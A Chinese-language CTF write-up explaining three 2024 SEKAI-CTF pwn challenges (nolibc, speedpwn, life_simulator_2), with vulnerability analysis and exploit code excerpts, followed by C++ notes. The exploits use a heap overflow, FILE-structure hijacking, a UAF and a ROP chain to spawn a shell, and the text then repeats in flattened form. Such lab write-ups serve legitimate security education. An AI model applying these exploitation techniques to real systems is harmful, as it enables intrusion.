2024 SEKAI-CTF(nolibc speedpwn life_simulator_2)
字数 1348 2025-08-20 18:18:17

2024 SEKAI-CTF Pwn题解教学文档

1. nolibc题目解析

1.1 题目概述

  • 保护机制:Partial RELRO, No canary, NX enabled, PIE enabled
  • 限制:只能注册一个账户并登录该账户
  • 关键漏洞:size是buffer长度不是整个chunk,可以溢出改系统调用号

1.2 漏洞分析

char *__fastcall alloc(int size) {
  struct chunk *next_use_chunk;
  signed int up_align_16_size = (size + 15) & 0xFFFFFFF0;
  // ...
  if (v5->size >= (unsigned __int64)(up_align_16_size + 16LL)) {
    next_use_chunk = (struct chunk *)&v5->buff[up_align_16_size];
    next_use_chunk->size = v5->size - up_align_16_size - 16;
    // ...
  }
  // ...
}

漏洞点:

  1. next_use_chunk->size 计算错误,导致可以溢出修改后续内存
  2. 分配的size是输入的len+0x10 & 0xFFFFFFF0,但输入内容的长度是len+1

1.3 利用思路

  1. 通过data段残留的PIE地址泄露PIE基址
  2. 利用size计算错误导致的溢出修改系统调用号
  3. 通过/proc/self/maps泄露地址信息

1.4 EXP关键代码

from pwn import *

p = process("./main")

# 注册和登录
p.sendlineafter(b"Choose an option: ", str(2))
p.sendlineafter(b"Username: ", b"llk") 
p.sendlineafter(b"Password: ", b"1010") 
p.sendlineafter(b"Choose an option: ", str(1))
p.sendlineafter(b"Username: ", b"llk") 
p.sendlineafter(b"Password: ", b"1010") 

# 利用漏洞
for i in range(191):
    add((int("0xe0", 16)), "llk")

add((int("0x7f", 16)), 0x70*b"a"+p32(0)+p32(1)+p32(59)+p32(3))

for i in range(191):
    dele(i)

load(b"/bin/sh\x00")
p.interactive()

2. speedpwn题目解析

2.1 题目概述

  • 保护机制:Partial RELRO, Canary found, NX enabled, No PIE
  • 关键漏洞:game_history溢出可以往高地址处bss任意写

2.2 漏洞分析

if(cmp(player_num, bot_num)) {
    *((unsigned long long*)&game_history + (number_of_games / 64)) |= ((unsigned long long)1 << (number_of_games % 64));
} else {
    *((unsigned long long*)&game_history + (number_of_games / 64)) &= (~((unsigned long long)1 << (number_of_games % 64)));
}

漏洞点:

  1. 可以通过发送全为1来设置对应game_history位为1
  2. 可以通过发送全为0来设置对应game_history位为0
  3. 可以溢出修改seed_generator文件结构体

2.3 利用思路

  1. 通过scanf输入不会改变残留libc地址的特性泄露libc
  2. 利用残留栈帧上的libc地址进行爆破
  3. 修改seed_generator文件结构体进行IO劫持

2.4 EXP关键代码

def set_1():
    p.sendlineafter(b"> ", str("f"))
    p.sendlineafter(b"Player plays: ", str(18446744073709551615))

def set_0():
    p.sendlineafter(b"> ", str("f"))
    p.sendlineafter(b"Player plays: ", str(0))

# 爆破libc地址
for i in range(48,64):
    tmp = leak_1bit_number_libc | 1 << i 
    simulate("-", tmp)
    # ...

# 伪造IO结构体
fake_io = [
    0x3b687320,  # will cover content that lock point with 1
    0,           # write_base
    1,           # write_ptr
    fake_io_addr,# _wide_data
    0,           # _wide_data->_IO_write_base
    0,           # _wide_data->_IO_buf_base
    fake_io_addr,# _wide_data->__wide_vtable
    libc_base + 0x4e720,  # system
    fake_io_addr + 0x100, # lock address
    0,           # mode
    libc_base + 0x1d2648 - 40  # _IO_wfile_jumps-40
]

# 写入伪造的IO结构体
while payload:
    tmp = payload[:8]
    write_64(u64(tmp))
    payload = payload[8:]

3. life_simulator_2题目解析

3.1 题目概述

  • 保护机制:全开
  • 关键漏洞:整数溢出和逻辑问题

3.2 漏洞分析

void Company::elapse_week() {
    uint64_t total_profit = 0;
    for(auto it : this->projects) {
        total_profit += it->generate_profit() - it->worker_pay();
    }
    this->company_budget += total_profit;
    // ...
    
    if(!(company_to_remove->number_of_workers() == 0 || company_to_remove->get_company_budget() == 0)) {
        std::cerr << "ERR: Not Allowed" << std::endl;
        return;
    }
    // ...
}

漏洞点:

  1. 整数溢出影响company_budget和total_net_worth
  2. 逻辑判断错误:实际需要number_of_workers() == 0或get_company_budget() == 0才能sell
  3. 释放不完整,Worker对象未被释放导致UAF

3.3 利用思路

  1. 利用整数溢出使company_budget为0
  2. 通过UAF泄露堆地址和libc地址
  3. 伪造string对象和vector结构
  4. 通过move_worker实现任意地址写
  5. 劫持控制流getshell

3.4 EXP关键代码

# 初始设置
add_company(b"llk ", str(1200).encode())
add_project(b"llk ", b"pwn ", b"1000000 ")
for i in range(40):
    hire_worker(b"llk ", b"pwn ", str(i).encode(), str(30).encode())

# 触发漏洞
elapse_week()
sell_company(b"llk ")

# 泄露堆地址
add_company(b"llk2 ", str(1200).encode())
add_project(b"llk2 ", b"pwn ", b"1000000 ")
worker_info(str(1).encode())
heap = (int(p.recvuntil(b"\n")[:-1].decode('ascii')) << 3) - 0x13370

# 泄露libc地址
fake_project = payload + p64(heap+0x13600)[:6]
add_company(fake_project + b" ", str(1200).encode())
add_company(b"l"*0x400 + b" ", str(1200).encode())
worker_info(str(41).encode())
libc = u64(p.recv(6).ljust(8, b"\x00")) - 0x203b20

# 泄露栈地址
environ = libc + 0x20ad58
target_leak_libc_chunk = environ
fake_project = payload + p64(heap+0x13600)[:6]
add_company(fake_project + b" ", str(1200).encode())
worker_info(str(41).encode())
stack = u64(p.recv(6).ljust(8, b"\x00")) - 0x138

# 构造ROP链
pop_rdi_ret = libc + 0x000000000010f75b
system = libc + 0x58740
bin_sh = libc + 0x1cb42f
ret = libc + 0x000000000002882f
payload = (p64(0) + p64(0) + p64(0) + p64(ret) + 
           p64(pop_rdi_ret) + p64(bin_sh) + p64(system)).ljust(0x100, b"\x00")
add_company(payload + b" ", str(1008).encode())

4. 关键知识点总结

4.1 委托构造函数

  • C++11特性,允许一个构造函数调用同一类中的另一个构造函数
  • 语法示例:
class Example {
public:
    Example(int a, int b, int c) { /* 主构造函数 */ }
    Example(int a, int b) : Example(a, b, 0) {} // 委托构造函数
};

4.2 std::remove和std::erase

  • "移除-擦除"惯用法:
companies.erase(std::remove(companies.begin(), companies.end(), company_to_remove), companies.end());
  • std::remove重新排列元素,std::erase真正移除元素
  • 注意:仅移除指针,不释放指针指向的内存

4.3 整数溢出利用

  • 当double和uint64_t相乘结果超出uint64_t范围时,转换为uint64_t可能导致溢出为0
  • 示例:
uint64_t a = 18446744073709551615ULL;
double b = 2.0;
uint64_t result = static_cast<uint64_t>(a * b); // 可能溢出为0

4.4 vector插入逻辑

  • 核心函数:
__int64 __fastcall std::vector<Worker *>::emplace_back<Worker *&>(__int64 a1, __int64 a2) {
    if (*(_QWORD *)(a1 + 8) == *(_QWORD *)(a1 + 16)) {
        // 扩容逻辑
    } else {
        // 直接插入逻辑
    }
}
  • a1 + 8: 当前末尾指针
  • a1 + 16: 容量极限指针

本教学文档详细分析了三个CTF题目的漏洞原理和利用方法,涵盖了堆溢出、UAF、IO劫持、ROP等多种漏洞利用技术,并总结了相关的C++特性知识。

2024 SEKAI-CTF Pwn题解教学文档 1. nolibc题目解析 1.1 题目概述 保护机制:Partial RELRO, No canary, NX enabled, PIE enabled 限制:只能注册一个账户并登录该账户 关键漏洞:size是buffer长度不是整个chunk,可以溢出改系统调用号 1.2 漏洞分析 漏洞点: next_use_chunk->size 计算错误,导致可以溢出修改后续内存 分配的size是输入的len+0x10 & 0xFFFFFFF0,但输入内容的长度是len+1 1.3 利用思路 通过data段残留的PIE地址泄露PIE基址 利用size计算错误导致的溢出修改系统调用号 通过 /proc/self/maps 泄露地址信息 1.4 EXP关键代码 2. speedpwn题目解析 2.1 题目概述 保护机制:Partial RELRO, Canary found, NX enabled, No PIE 关键漏洞:game_ history溢出可以往高地址处bss任意写 2.2 漏洞分析 漏洞点: 可以通过发送全为1来设置对应game_ history位为1 可以通过发送全为0来设置对应game_ history位为0 可以溢出修改seed_ generator文件结构体 2.3 利用思路 通过scanf输入不会改变残留libc地址的特性泄露libc 利用残留栈帧上的libc地址进行爆破 修改seed_ generator文件结构体进行IO劫持 2.4 EXP关键代码 3. life_ simulator_ 2题目解析 3.1 题目概述 保护机制:全开 关键漏洞:整数溢出和逻辑问题 3.2 漏洞分析 漏洞点: 整数溢出影响company_ budget和total_ net_ worth 逻辑判断错误:实际需要number_ of_ workers() == 0或get_ company_ budget() == 0才能sell 释放不完整,Worker对象未被释放导致UAF 3.3 利用思路 利用整数溢出使company_ budget为0 通过UAF泄露堆地址和libc地址 伪造string对象和vector结构 通过move_ worker实现任意地址写 劫持控制流getshell 3.4 EXP关键代码 4. 关键知识点总结 4.1 委托构造函数 C++11特性,允许一个构造函数调用同一类中的另一个构造函数 语法示例: 4.2 std::remove和std::erase "移除-擦除"惯用法: std::remove重新排列元素,std::erase真正移除元素 注意:仅移除指针,不释放指针指向的内存 4.3 整数溢出利用 当double和uint64_ t相乘结果超出uint64_ t范围时,转换为uint64_ t可能导致溢出为0 示例: 4.4 vector插入逻辑 核心函数: a1 + 8: 当前末尾指针 a1 + 16: 容量极限指针 本教学文档详细分析了三个CTF题目的漏洞原理和利用方法,涵盖了堆溢出、UAF、IO劫持、ROP等多种漏洞利用技术,并总结了相关的C++特性知识。